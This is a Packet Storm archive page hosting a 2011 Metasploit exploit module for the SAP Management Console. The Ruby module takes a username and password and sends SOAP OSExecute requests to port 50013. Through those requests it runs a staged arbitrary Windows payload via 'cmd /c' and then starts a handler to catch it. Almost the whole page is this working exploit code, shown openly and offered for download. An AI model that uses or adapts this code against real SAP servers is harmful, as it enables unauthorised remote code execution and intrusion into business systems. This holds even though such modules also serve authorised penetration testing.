exploit the possibilities

SAP Management Console OSExecute Payload Execution

SAP Management Console OSExecute Payload Execution
Posted Oct 24, 2011
Authored by Chris John Riley | Site metasploit.com

This Metasploit module executes an arbitrary payload through the SAP Management Console SOAP Interface. A valid username and password must be provided.

tags | exploit, arbitrary
MD5 | d302eb51c1c7370171b436f8a7c1b241

SAP Management Console OSExecute Payload Execution

Change Mirror Download
##
# $Id: sap_mgmt_con_osexec_payload.rb 14048 2011-10-24 16:42:07Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'SAP Management Console OSExecute Payload Execution',
'Version' => '$Revision: 14048 $',
'License' => MSF_LICENSE,
'Author' => [ 'Chris John Riley' ],
'Description' => %q{
This module executes an arbitrary payload through the SAP Management Console
SOAP Interface. A valid username and password must be provided.
},
'References' =>
[
# General
[ 'URL', 'http://blog.c22.cc' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
},
'Payload' =>
{
'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
},
'Platforms' => [ 'win' ],
'Targets' =>
[
[
'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 08 2011'
))

register_options(
[
Opt::RPORT(50013),
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('USERNAME', [true, 'Username to use', '']),
OptString.new('PASSWORD', [true, 'Password to use', '']),
], self.class)
register_advanced_options(
[
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
], self.class)
register_autofilter_ports([ 50013 ])
end

def autofilter
false
end

def exploit
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
print_status("Using custom payload size of #{linemax}") if linemax != 7500
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
handler
end

# This is method required for the CmdStager to work...
def execute_command(cmd, opts)

soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
xs = 'http://www.w3.org/2001/XMLSchema'
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
ns1 = 'ns1:OSExecute'

cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
if cmd_s.length > 1
print_status("Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)")
end

cmd_s = cmd_s.collect(&:strip)
cmd_s.each do |payload|

data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
data << '<SOAP-ENV:Header>' + "\r\n"
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
data << '<enableSession>true</enableSession>' + "\r\n"
data << '</sapsess:Session>' + "\r\n"
data << '</SOAP-ENV:Header>' + "\r\n"
data << '<SOAP-ENV:Body>' + "\r\n"
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
data << '</SOAP-ENV:Body>' + "\r\n"
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])

begin
res = send_request_raw({
'uri' => "/#{datastore['URI']}",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'SOAPAction' => '""',
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 60)

if (res.code != 500 and res.code != 200)
print_error("[SAP] An unknown response was received from the server")
abort("Invlaid server response")
elsif res.code == 500
body = res.body
if body.match(/Invalid Credentials/i)
print_error("[SAP] The Supplied credentials are incorrect")
abort("Exploit not complete, check credentials")
elsif body.match(/Permission denied/i)
print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
raise RuntimeError.new("Exploit not complete, check credentials")
end
end

rescue ::Rex::ConnectionError
print_error("[SAP] Unable to attempt authentication")
break
end
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    7 Files
  • 19
    Oct 19th
    1 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close